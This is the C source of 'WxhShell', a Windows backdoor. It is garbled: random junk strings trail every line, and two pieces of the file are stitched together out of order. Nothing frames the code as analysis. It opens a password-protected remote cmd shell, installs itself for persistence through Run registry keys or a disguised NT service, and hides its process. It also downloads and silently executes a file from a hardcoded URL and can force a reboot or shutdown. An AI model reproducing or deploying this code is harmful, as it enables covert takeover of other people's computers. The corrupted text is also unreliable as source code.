  case 'd': { HR}O:2'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DsejZ&  
    if(Boot(SHUTDOWN)) lj (y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ut;`6t  
    else { 1Y|a:){G  
    closesocket(wsh); j-":>}oW2.  
    ExitThread(0); yd).}@  
    } N% 4"9K  
    break; GC{M"q|_  
    } V5 w1ET  
  // 获取shell Nob(D'vSr  
  case 's': { {drc}BL_  
    CmdShell(wsh); 5~|{:29X  
    closesocket(wsh); Snx!^4+MF  
    ExitThread(0); a YWWln  
    break; HeOdCr-PN  
  } D5TDg\E  
  // 退出 gcU*rml  
  case 'x': { 2yZr!Rb~*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "f,{d}u  
    CloseIt(wsh); "2l`XH  
    break; @1MnJP  
    } U[@y 8yN6M  
  // 离开 CIjc5^Y2  
  case 'q': { `ePC$Ovn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0f^{Rp6  
    closesocket(wsh); jN\u}!\O  
    WSACleanup(); Cf 2@x  
    exit(1); i"WYcF |  
    break; *'?7OL  
        } %2?+:R5.  
  } xT%`"eM}  
  } DN*5q9.  
CMXF[X)%  
  // 提示信息 AcC &Q:g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yD7BZI xW  
} ;-+q*@sa]  
  } or/gx3  
zx3gz7>k;  
  return; ^7-zwl(>?N  
} CL|/I:%0  
S6TNu+2w4  
// shell模块句柄 Y;"k5 + q  
int CmdShell(SOCKET sock) X@rA2);6  
{ *l+#<5x  
STARTUPINFO si; ^"WV E["  
ZeroMemory(&si,sizeof(si)); d$zJLgkA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eTiTS*`u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [3 Pp NCY  
PROCESS_INFORMATION ProcessInfo; [nTI\17iA  
char cmdline[]="cmd"; GJ+^t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K3T.l#d'L  
  return 0; 6l#x1o;  
} , NSf  
K^Awf6%  
// 自身启动模式 /wV|;D^ )  
int StartFromService(void) l":W@R  
{ Ri.tA  
typedef struct #BC"bY  
{ LeKovt%  
  DWORD ExitStatus; &*C5Nnlv  
  DWORD PebBaseAddress; M]x> u@JH  
  DWORD AffinityMask; x:|Y)Dn\  
  DWORD BasePriority; $x0SWJ \G  
  ULONG UniqueProcessId; IH]9%d)  
  ULONG InheritedFromUniqueProcessId; YX\vk/[|  
}   PROCESS_BASIC_INFORMATION; J|`0GDSn  
#b/qR^2qW  
PROCNTQSIP NtQueryInformationProcess; '7Gv_G_  
g'8Y5x[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w;z7vN~/O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |#oS7oV(  
/*K2i5&X  
  HANDLE             hProcess; #B `?}a=  
  PROCESS_BASIC_INFORMATION pbi; ;_o]$hV|  
ekM? ' 9ez  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YuXJT*  
  if(NULL == hInst ) return 0; T(b9b,ov)  
x:Y9z_)O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;G[V:.o-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4,9$udiGY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {/'T:n#  
y0zMK4b  
  if (!NtQueryInformationProcess) return 0; +P/kfY"  
W(,j2pU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }>A q<1%  
  if(!hProcess) return 0; ]<;,HGO  
);5o13h2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $#Pxf  
~>2uRjvkwB  
  CloseHandle(hProcess); k3~9;Z  
]v+<K63@T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;_<R +w3-  
if(hProcess==NULL) return 0; {o=?@$6C  
NGx3f3 9  
HMODULE hMod; 6TtB3;5  
char procName[255]; La4S/.  
unsigned long cbNeeded; v}B%:1P4  
Ve,g9I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !"<[&  
[>=!$>>;8  
  CloseHandle(hProcess); rP@#_(22  
p>6`jr  
if(strstr(procName,"services")) return 1; // 以服务启动 bO '\QtW9  
V%Uj\cv  
  return 0; // 注册表启动 ,_[x|8m  
} s|[>@~gXk  
WK ~H]w  
// 主模块 hW^,' m  
int StartWxhshell(LPSTR lpCmdLine) x 7j#@C  
{ %)ho<z:7U  
  SOCKET wsl; K,b M9>}  
BOOL val=TRUE; 3DU1c?M:  
  int port=0; Ndmt$(b  
  struct sockaddr_in door; Fn4v/)*H  
04a ^jjc  
  if(wscfg.ws_autoins) Install(); 8|u4xf<  
s#2t\}/  
port=atoi(lpCmdLine); tFN >]`Z  
lj4Fg*/Yn  
if(port<=0) port=wscfg.ws_port; +-9vrEB  
g=*jKSZ  
  WSADATA data; 5&]5*;BvJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mH*ldf;J;=  
sZ;|NAx)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D6 B-#u!M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @^{Hq6_`  
  door.sin_family = AF_INET; 2 $>DX\h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Kxe\H'rR  
  door.sin_port = htons(port); G\.~/<Mg+  
]9@:7d6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *S$v SDJCW  
closesocket(wsl); JA^o/%a^  
return 1; ^X#y'odtbS  
} RObnu*  
|s8N  
  if(listen(wsl,2) == INVALID_SOCKET) { M`MxdwR  
closesocket(wsl); c-LzluWi  
return 1; N& _~y|  
} Z6!Up1  
  Wxhshell(wsl); .RD<]BxJ  
  WSACleanup(); =c8}^3L~7  
7"(!]+BW!O  
return 0; TBlSZZ-55]  
k,h602(  
} d {z[46>  
o)`PS w=  
// 以NT服务方式启动 } ueFy<F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aDlp>p^E>  
{ Fs+ tcr/\[  
DWORD   status = 0; blO4)7m  
  DWORD   specificError = 0xfffffff; 2q f|+[X  
@gUp9ZwtH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Na\ZV|;*tu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j3-YZKpg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `Sod]bO +U  
  serviceStatus.dwWin32ExitCode     = 0; 4u{S?Ryy  
  serviceStatus.dwServiceSpecificExitCode = 0; W4^L_p>Tm^  
  serviceStatus.dwCheckPoint       = 0; ;vn0%g  
  serviceStatus.dwWaitHint       = 0; uF ?[H -y  
JsEJ6!1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sdp&D@  
  if (hServiceStatusHandle==0) return; #3uv^m LGa  
(vXr2Z<l  
status = GetLastError(); Sp `l>BL  
  if (status!=NO_ERROR) FO{=^I5YA  
{ lExQp2E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WQ|:TLQ  
    serviceStatus.dwCheckPoint       = 0; J^!;$Hkd  
    serviceStatus.dwWaitHint       = 0; ;vx5 =^7P  
    serviceStatus.dwWin32ExitCode     = status; @"w4R6l+*  
    serviceStatus.dwServiceSpecificExitCode = specificError; CH++3i2&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *TOdIq&z  
    return; .i0K-B  
  } wj[yo S  
_]:b@gXUw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _nGx[1G( 5  
  serviceStatus.dwCheckPoint       = 0; qGk+4 yC  
  serviceStatus.dwWaitHint       = 0; #2Rz=QI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jNZ .Fb  
} ) u?f| D  
8R~<$ xz  
// 处理NT服务事件,比如:启动、停止 l;8t%JV5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O\}C`CiC  
{ YAi-eL67l  
switch(fdwControl) {v={q1  
{ _H]\  
case SERVICE_CONTROL_STOP: @T1G#[C~t  
  serviceStatus.dwWin32ExitCode = 0; *v<f#hB"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kk4 |4  
  serviceStatus.dwCheckPoint   = 0; !$I~3_c  
  serviceStatus.dwWaitHint     = 0; |x[I!I7.F  
  { X><C#G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8 $FH;=  
  } n Ja!&G&  
  return; r6<;bO(  
case SERVICE_CONTROL_PAUSE: _[:6.oNjIe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g)Z8WH$;H3  
  break; q(sTKT[V  
case SERVICE_CONTROL_CONTINUE: i4D(8;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bpu`'Vx  
  break; Iu'9yb  
case SERVICE_CONTROL_INTERROGATE: PgtLyzc  
  break; Ku5||u.F4*  
}; X'A`" }=_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]4~Yi1]  
} +IZ=E >a  
VZ]iep  
// 标准应用程序主函数 "&(/bdah?&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H4M=&"ll}  
{ V 6}5^W  
bW yimr&B  
// 获取操作系统版本 FvT&nb{  
OsIsNt=GetOsVer(); &1 \/B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,GOIg|51  
_{|a<Keq|  
  // 从命令行安装 hY}Q|-|  
  if(strpbrk(lpCmdLine,"iI")) Install(); M1jT+  
_|~Dj)z  
  // 下载执行文件 =<\22d5L  
if(wscfg.ws_downexe) { R~<N*En~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :>-zT[Lcn  
  WinExec(wscfg.ws_filenam,SW_HIDE); XQ1]F{?/H  
} ` w;Wud'*<  
14$%v;Su4  
if(!OsIsNt) { xd?=#d  
// 如果时win9x,隐藏进程并且设置为注册表启动 NKY|Z\  
HideProc(); n6Oz[7M  
StartWxhshell(lpCmdLine); p.:651b  
} wm@m(ArE=  
else 5Fydh0.  
  if(StartFromService()) @ZEBtM%.O  
  // 以服务方式启动 =DwLNyjU4  
  StartServiceCtrlDispatcher(DispatchTable); YNr5*P1  
else L : $ `8  
  // 普通方式启动 a\sK{`|X*  
  StartWxhshell(lpCmdLine); DJGafX^  
9.)z]Gav  
return 0; zC50 @S3|  
} ~EtGR # N  
v^A+LZ*d  
QQ?t^ptv  
z+Xr2B  
=========================================== 8W3zrnc  
5OM #_.p  
le*+(aw  
:N8n6)#1=  
d` GN!^  
%/dOV[/  
" t 7Y*/v&P(  
X5owAc6  
#include <stdio.h> $Sc_E:`]  
#include <string.h> _'D(>e?  
#include <windows.h> ]p|?S[!=  
#include <winsock2.h>  |q3X#s72  
#include <winsvc.h> zJXK:/  
#include <urlmon.h> 2poo@]M/  
}u#3hYa  
#pragma comment (lib, "Ws2_32.lib") Jp jHbG  
#pragma comment (lib, "urlmon.lib") L|1,/h 8p  
loA/d  
#define MAX_USER   100 // 最大客户端连接数 <NZPLo F  
#define BUF_SOCK   200 // sock buffer #7;?Ls  
#define KEY_BUFF   255 // 输入 buffer <F^9ML+'  
\Zf=A[  
#define REBOOT     0   // 重启 Byq VNz0L  
#define SHUTDOWN   1   // 关机 QC'Ru'8S  
i]n2\v AG  
#define DEF_PORT   5000 // 监听端口 ~vTwuc\(H  
eEXNEgbn  
#define REG_LEN     16   // 注册表键长度 cB&_':F  
#define SVC_LEN     80   // NT服务名长度 -9vNV:c  
B/X$ZQ0  
// 从dll定义API Y" =8wNbr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 97Dq;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cfmLErkp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,h=a+ja8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,^bgk -x-  
6UCF w>  
// wxhshell配置信息 0"7+;(\1Rk  
struct WSCFG { 2hV -h  
  int ws_port;         // 监听端口 ?|,:;^2l1  
  char ws_passstr[REG_LEN]; // 口令 H+*3e&  
  int ws_autoins;       // 安装标记, 1=yes 0=no :E}y Pcw  
  char ws_regname[REG_LEN]; // 注册表键名 F'MX9P  
  char ws_svcname[REG_LEN]; // 服务名 4prJ!k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (uX?XX^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {.Qv1oOa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4T@+gy^.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a~Dk@>+P>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Oj-\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1IoW}yT  
_1[Wv?  
}; A~xw:[zy$a  
DpggZ|J  
// default Wxhshell configuration )bM,>x  
struct WSCFG wscfg={DEF_PORT, KBM*7raA  
    "xuhuanlingzhe", N3$1f$`  
    1, 3li$)S1z  
    "Wxhshell", CUJq [  
    "Wxhshell", t U}6^yc  
            "WxhShell Service", )W=O~g  
    "Wrsky Windows CmdShell Service", _-BP?'lN  
    "Please Input Your Password: ", lU 62$2  
  1, u xyj6(  
  "http://www.wrsky.com/wxhshell.exe", CHTK.%AQH!  
  "Wxhshell.exe" n*"r!&Dg  
    }; 1\}XL=BE  
Z,"4f*2  
// 消息定义模块 UYxn? W.g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SY|K9$M^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eL~xS: VT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xc*a(v0  
char *msg_ws_ext="\n\rExit."; q\@_L.tc[  
char *msg_ws_end="\n\rQuit."; =4`wYh  
char *msg_ws_boot="\n\rReboot..."; umns*U%T;  
char *msg_ws_poff="\n\rShutdown..."; wU|@fm"  
char *msg_ws_down="\n\rSave to "; #czTX%+9(e  
A|LO!P,w  
char *msg_ws_err="\n\rErr!"; 3E wdu  
char *msg_ws_ok="\n\rOK!"; O? g;Ny  
@%fTdneH  
char ExeFile[MAX_PATH]; bN-!&Td  
int nUser = 0; WzstO}?P(  
HANDLE handles[MAX_USER]; inh:b .,B  
int OsIsNt; TC-Vzk G|  
qkKl;Z?Y:  
SERVICE_STATUS       serviceStatus; * EGzFXa  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |&"aZ!Kn  
^"O>EY':  
// 函数声明 p _[,P7  
int Install(void); FzEs1hpl  
int Uninstall(void); 9287&+,0r  
int DownloadFile(char *sURL, SOCKET wsh); {@CQ (  
int Boot(int flag); -+{[.U<1jk  
void HideProc(void); l<XYDb~op  
int GetOsVer(void); ntLEk fK{  
int Wxhshell(SOCKET wsl); 8\68NG6o  
void TalkWithClient(void *cs); H?O5 "4a  
int CmdShell(SOCKET sock); 6!>p<p"Ns  
int StartFromService(void); Y_Fn)(  
int StartWxhshell(LPSTR lpCmdLine); 6 eryf?  
PwW$=M{\.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Xk.OyQ@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K ,NmDc^  
8Azh&c  
// 数据结构和表定义 ,r*Kxy  
SERVICE_TABLE_ENTRY DispatchTable[] = 7Tk//By7  
{ kJmwR  
{wscfg.ws_svcname, NTServiceMain}, lIS`_H}  
{NULL, NULL} zHA::6OgPN  
}; nHm29{G0  
l6#Y}<tq  
// 自我安装 V\m"Hl>VIU  
int Install(void) .O"a:^i  
{ W+ ;=8S  
  char svExeFile[MAX_PATH]; (=uT*Cb  
  HKEY key; C*ep8{B  
  strcpy(svExeFile,ExeFile); 4/~x+tdc  
Jy/< {7j  
// 如果是win9x系统,修改注册表设为自启动 lv=q( &  
if(!OsIsNt) { b5H}0<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )1!<<;@0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lS9S7`  
  RegCloseKey(key); @=l6zd@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )qb'tZz/g_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OW#0$%f  
  RegCloseKey(key); 6&0@k^7~  
  return 0; 5@+?{Cl  
    } [hSJ)IZh  
  } keLeD1  
} 1Sz tN3'q  
else { 7P2n{zd,  
f$QkzWvr  
// 如果是NT以上系统,安装为系统服务 i[9yu-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V K6D  
if (schSCManager!=0) we[+6Z6J  
{ D(ItNMc Ku  
  SC_HANDLE schService = CreateService rmzzbLTu  
  ( Fc@R,9  
  schSCManager, jz_Y|"{`v  
  wscfg.ws_svcname, X PyDZk/m  
  wscfg.ws_svcdisp, Qu[QcB{ro-  
  SERVICE_ALL_ACCESS, ;+XrCy!.)L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J@:Q(  
  SERVICE_AUTO_START, B?i#m^S  
  SERVICE_ERROR_NORMAL, WfaMu| L  
  svExeFile, 9[zxq`qT}+  
  NULL, A0 Nx?  
  NULL, *gH]R*Q[Rt  
  NULL, b]b>i]n  
  NULL, y@l&B+2ks  
  NULL '>t&fzD0  
  ); OM0r*<D"!  
  if (schService!=0) aGC3&c[Wx  
  { rs?Dn6:;B  
  CloseServiceHandle(schService); =gI41Y]  
  CloseServiceHandle(schSCManager); j yD3Sa3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R`@T<ob)  
  strcat(svExeFile,wscfg.ws_svcname); l+@;f(8}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iOg4(SPci  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s4_Dqm  
  RegCloseKey(key); Zpg;hj5_  
  return 0; enJ; #aA  
    } ,i6E L  
  } pi"M*$  
  CloseServiceHandle(schSCManager); AMjr[!44 @  
} :W,S  
} PolJo?HZ  
't`h?VvL  
return 1; y/\b0&  
} }qM^J;uy  
53{\H&q  
// 自我卸载 TiI/I`A  
int Uninstall(void) K1hkOj;S  
{ +o`%7r(R  
  HKEY key; {WV"]O8IV  
N_bgWQY  
if(!OsIsNt) { j7Fb4;o{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~Pw9[ycn3  
  RegDeleteValue(key,wscfg.ws_regname); :W0p3 6"  
  RegCloseKey(key); 12U]=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sMGo1pG(  
  RegDeleteValue(key,wscfg.ws_regname); N_NN0  
  RegCloseKey(key); DWOf\[  
  return 0; eR \duZ!`  
  } BS fmS(.  
} : B&~q$  
} c ^ds|7i]a  
else { C zJ-tEO  
jKmjZz8L]%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); # &.syD#  
if (schSCManager!=0) T" {~mQ*  
{ kMCP .D45;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :Q DkaA  
  if (schService!=0) THhxj)  
  { _y[C52,  
  if(DeleteService(schService)!=0) { R 9` [C  
  CloseServiceHandle(schService); zN!W_2W*  
  CloseServiceHandle(schSCManager); [@lK[7 u  
  return 0; _">F]ptI;  
  } YCiG~y/~  
  CloseServiceHandle(schService); T;(,9>Qsu  
  } V\zcv@  
  CloseServiceHandle(schSCManager); (.P}>$M9  
} `15}jTi  
} I>FL&E@K  
#ae?#?/"  
return 1; N62;@Z\7  
} ]|g2V a~-  
n{!{,s  
// 从指定url下载文件 UCcr>  
int DownloadFile(char *sURL, SOCKET wsh) @>O7/d?O  
{ [T r7SU#x  
  HRESULT hr; Dst;sLr[,  
char seps[]= "/"; ^WB[uFt-  
char *token; ,nYa+e  
char *file; ?I^$35  
char myURL[MAX_PATH]; h@R n)D  
char myFILE[MAX_PATH]; HjA~3l7  
P_3IFHe  
strcpy(myURL,sURL); VYb,Hmm>kC  
  token=strtok(myURL,seps); Ld*Ds!*'/  
  while(token!=NULL) #a=]h}&1?  
  { *,G< X^  
    file=token; [Ix6ArY  
  token=strtok(NULL,seps); f?. VVlD  
  } .5; JnJI  
9ia&/BT7"z  
GetCurrentDirectory(MAX_PATH,myFILE); J.XkdGQ  
strcat(myFILE, "\\"); 6<W^T9}v@/  
strcat(myFILE, file); h>!h|Ma  
  send(wsh,myFILE,strlen(myFILE),0); :epBd3f  
send(wsh,"...",3,0); A x8>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >I@&"&d  
  if(hr==S_OK) e">&B]#}  
return 0; d [l8qaD  
else B bmw[Qf\  
return 1; @@\qso  
DL V ny]  
} ppIXS(  
'Grej8  
// 系统电源模块 (nLzWvN  
int Boot(int flag) m#BXxS#B<_  
{ EwzcB\m  
  HANDLE hToken; 3\Xk)a_  
  TOKEN_PRIVILEGES tkp; ^Ak?2,xB#+  
@Dsw.@/  
  if(OsIsNt) { `/ T.u&QF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .>;??BG}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); < !m.+  
    tkp.PrivilegeCount = 1; <7`k[~)VB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O<p=&=TD7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m&=Dy5  
if(flag==REBOOT) { Rp2h[_>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GjwH C{  
  return 0; $MDmY4\  
} GCYXDovh  
else { vGsAM* vw6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vh.8m $,  
  return 0; t"Du  
} <UO[*_,\  
  } ^E/6 vG  
  else { OH>Gc-V  
if(flag==REBOOT) { @:w^j0+h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -`5]%.E&8  
  return 0; xT&/xZLT  
} A\S=>[ar-  
else { AB%i|t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) " l|`LjP5M  
  return 0; [H\0 '  
} r[ k  
} <[ dt2)%L>  
" TCJT390  
return 1; &I ~'2mpk  
} x_O:IK.>  
92Gfxld\  
// win9x进程隐藏模块 uy2~<)  
void HideProc(void) -,*m\Fe}  
{ }8 ;,2E*z  
H5d@TB, `  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 56YqYu.  
  if ( hKernel != NULL ) ='.b/]!_  
  { 0 J"g"=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u `ww  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l$!ExXEZO;  
    FreeLibrary(hKernel); E2}X[EoBF  
  } KJ/Gv#Kj  
&jEw(P&_  
return; b&E"r*i|  
} M3UC9t9]  
J0k!&d8  
// 获取操作系统版本 Tr>_R%bK  
int GetOsVer(void) 9E5*%Hu_  
{ yT<"?S>D  
  OSVERSIONINFO winfo; n'vdA !R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ? .B t.  
  GetVersionEx(&winfo); T*B`8P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %ho?KU2j  
  return 1; LR.]&(kyd  
  else !_+FuF"@  
  return 0; U7U&^s6`  
} 1h`F*:nva  
fif'ptK  
// 客户端句柄模块 a'HHUii=  
int Wxhshell(SOCKET wsl) <~ay4JY  
{ ?2o+x D2  
  SOCKET wsh; DJdhOLx  
  struct sockaddr_in client; Q& d;UVp  
  DWORD myID; HqqMX`Rof  
,b^jAzow  
  while(nUser<MAX_USER) 30w(uF  
{ -h|[8UG^b  
  int nSize=sizeof(client); |4BD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )RFY2 }  
  if(wsh==INVALID_SOCKET) return 1; %! Sjbh  
"}0QxogYE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cfBl HeYE  
if(handles[nUser]==0) %t* 9sh  
  closesocket(wsh); JI-.SR  
else .0/"~5  
  nUser++;  \v:Z;EbX  
  } k=d _{2 ~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sw1gpkX  
&)q>Z!C-l  
  return 0; ^Hf?["m^@  
} {LKW%G7  
GRj [2I7:  
// 关闭 socket ]n1#8T&<*z  
void CloseIt(SOCKET wsh) 8:I-?z;S  
{ StNA(+rT  
closesocket(wsh); &!:mL],  
nUser--; u9q#L.Ij  
ExitThread(0); U7zd7 O  
} `|nJAW3  
2b\ h@VJt  
// 客户端请求句柄 ,3G B9  
void TalkWithClient(void *cs) oKkDG|IE  
{ wE9z@\z]  
 R'_F9\  
  SOCKET wsh=(SOCKET)cs; m/g[9Y  
  char pwd[SVC_LEN]; mm!JNb9(  
  char cmd[KEY_BUFF]; NU.4_cixb  
char chr[1]; rx#GrV*y  
int i,j; phA{jJy?  
OS(Ua  
  while (nUser < MAX_USER) { w?fq%-6f*  
R%t6sbsNv  
if(wscfg.ws_passstr) { R SWw4}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YuO!Y9iEm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @Z""|H"0  
  //ZeroMemory(pwd,KEY_BUFF); g( "[wqgG  
      i=0; b,ZBol|X  
  while(i<SVC_LEN) { FFVh~em{  
Xa'b @*o&  
  // 设置超时 &F0>V o  
  fd_set FdRead; P 2x.rukT|  
  struct timeval TimeOut; xOxyz6B\  
  FD_ZERO(&FdRead); +:C.G[+  
  FD_SET(wsh,&FdRead); A)SnPbI-p  
  TimeOut.tv_sec=8; _!Z}HCk  
  TimeOut.tv_usec=0; qpf|.m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5 r<cna  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /sB,)> X  
2jQ?-/Q8#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (A_H[xP  
  pwd=chr[0]; .`D$.|!8g  
  if(chr[0]==0xd || chr[0]==0xa) { 7O=7lQ  
  pwd=0; 6h[fk.W_  
  break; :Ef$[_S>  
  } DoeE=X*`k  
  i++; cE,,9M@^  
    } |BbrB[+ v[  
h!Fh@%  
  // 如果是非法用户,关闭 socket Rh@UxNy\,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8"wavh|g4  
} ll"6K I'X  
KAy uv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @-1VN;N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #zn`)n  
S6yLq|W0  
while(1) { @, z4{B  
WR* <|  
  ZeroMemory(cmd,KEY_BUFF); cR6 #$-a  
\S?;5LacZ  
      // 自动支持客户端 telnet标准   1$yS Ii  
  j=0; 2+YM .Zl  
  while(j<KEY_BUFF) { YMwL(m1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |' kC9H[>  
  cmd[j]=chr[0]; DT]3q4__Q  
  if(chr[0]==0xa || chr[0]==0xd) { Es:oXA  
  cmd[j]=0; EF6"PH+J@  
  break; m FC9\   
  } <;Td8T;  
  j++; ,UT :wpc^i  
    } ~05(92bK  
8\`otJY  
  // 下载文件 *U,W4>(B  
  if(strstr(cmd,"http://")) { S }G3ha  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F B&l|#e  
  if(DownloadFile(cmd,wsh)) 0)|;uW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =\jPnov!  
  else pN;Tt+}  
